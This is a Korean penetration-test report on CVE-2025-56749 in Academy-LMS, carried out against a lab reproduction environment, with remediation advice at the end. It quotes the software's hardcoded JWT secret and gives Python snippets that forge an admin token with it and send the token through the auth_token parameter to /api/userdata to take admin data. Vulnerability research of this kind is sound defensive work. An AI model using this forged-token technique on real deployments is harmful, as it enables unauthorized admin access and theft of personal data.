Skip to main content

Academy-LMS 침투 테스트 보고서

작성자: 최민재

목차

  1. 침투 테스트 수행 정보

    1.1. 개요

    1.2. 대상

    1.3. 수행 기간

    1.4. 수행 인력

  2. 침투 테스트 결과

  3. 취약점 상세 내용

    3.1. 요약

    3.2. 킬 체인 시나리오

    3.3. 보안 패치 / 대응 방법

1. 침투 테스트 수행 정보

1.1. 개요

  • CVE-2025-56749 Academy-LMS 침투 테스트 결과 보고서
  • CVE 취약점에 관한 연구를 목적으로 함
  • 재현 환경 URL 및 IP는 Blue Team에서 제공

1.2. 대상

본 침투 테스트의 대상은 CVE-2025-56749 취약점을 포함하도록 구성된 웹 애플리케이션 및 해당 애플리케이션이 배포된 Kubernetes 기반 재현 환경임.

웹 애플리케이션은 Docker 컨테이너 형태로 패키징되었으며, Kubernetes 클러스터 상에서 서비스 형태로 배포되어 외부 접근이 가능하도록 구성됨.

플랫폼재현 환경URL
WebKuberneteshttps://til-irrigation-depot-several.trycloudflare.com/

1.3. 수행 기간

2025년 12월 22일 ~ 2025년 12월 30일

1.4. 수행 인력

소속성명담당 업무
Red Team최민재Academy-LMS 침투 테스트

2. 침투 테스트 결과

본 침투 테스트는 ‘CVE-2025-56749 Academy-LMS Privilege Escalation Bypass Vulnerability’를 재현한 환경에서 취약성 증명 및 연구 목적으로 진행함

No.경로결과
1소스 코드 (Api.php)하드코딩된 JWT 비밀키 유출
2/api/userdataauth_token 파라미터 변조를 통한 관리자 권한 탈취

3. 침투 테스트 결과

3.1. 요약

본 침투 테스트는 소스 코드 내 하드 코딩된 비밀키를 악용한 관리자 권한 탈취 시나리오를 기반으로 수행되었습니다.

탈취한 키를 통해 위조된 JWT를 이용하여 API 엔드포인트에 접근 후 API 인증 로직의 파라미터 검증 미흡을 이용하여 인증 체계를 우회하고 관리자 정보를 탈취하였습니다.

3.2. 킬 체인 시나리오

3.2.1. 정찰 타깃 웹 애플리케이션이 Academy-LMS 오픈소스 기반 식별

/application/controllers/Api.php 파일에서 하드코딩된 비밀키 발견

관리자 기능 수행하는 API 엔드포인트(/api/userdata, /admin/dashboard) 발견

define('SECRET', 'academy-lms-api-token-handler');

3.2.2. 무기화 (payload)

비밀키를 사용하여 관리자 권한을 가진 위조된 JWT 생성하는 python 스크립트 작성

def generate_forged_token(): 
payload = {
"user_id": 1,
"role": "admin",
"email": "admin@example.com",
"exp": datetime.datetime.now(datetime.timezone.utc) +
datetime.timedelta(hours=1)
}
return jwt.encode(payload, "academy-lms-api-token-handler", algorithm="HS256")

3.2.3. 전달

HTTP Header와 Cookie로 공격 시도했으나 실패

python 스크립트를 통해 GET /api/userdata?auth_token=[위조 토큰] 형태의 HTTP 요청 전송

attacks = [ 
("/api/userdata?user_id=1", "GET"),
("/api/userdata?auth_token=" + token, "GET"),
]

3.2.4. 악용

서버 내부에 하드코딩된 키를 사용하여 위조된 토큰 서명 검증

서버는 해당 요청을 admin의 요청으로 오인하여 승인

3.2.5. 설치

생성한 위조 토큰의 유효기간을 길게 설정하여 토큰만 있다면 인증 절차 없이 API 접근 가능

3.2.6. C2

python 스크립트를 실행한 PC가 C2 클라이언트 역할 수행

response = requests.get(target_url, headers=headers)
if response.status_code == 200:
print(f"[*] 데이터 수신 중: {response.text[:100]}...")

3.2.7. 목표에 대한 행동

/api/userdata?auth_token= 요청을 통해 관리자 개인정보가 담긴 JSON 데이터 탈취

탈취한 데이터를 기반으로 2차 공격(회원 DB 덤프, 랜섬웨어 등) 가능

3.3. 보안 패치 / 대응 방법

  • 비밀키 교체 및 관리

    평문으로 저장된 비밀키를 즉시 삭제 후 환경 변수나 별도의 보안 저장소에서 불러오도록 수정

    공격자가 이미 확보한 키는 난수로 새 키를 생성하여 교체

  • API 인증 로직 강화

    보안상 취약한 GET 파라미터 인증 비활성화

    Authorization 헤더만을 통해 인증하도록 로직 강제

  • 보안 모니터링 및 검증

    커밋 과정에서 비밀키나 민감 정보가 소스 코드에 포함되는지 감지

    /api 경로로 들어오는 요청 중 auth_token 파라미터 포함 여부 감지

    IP 화이트리스트를 적용하는 등 접근 제어 강화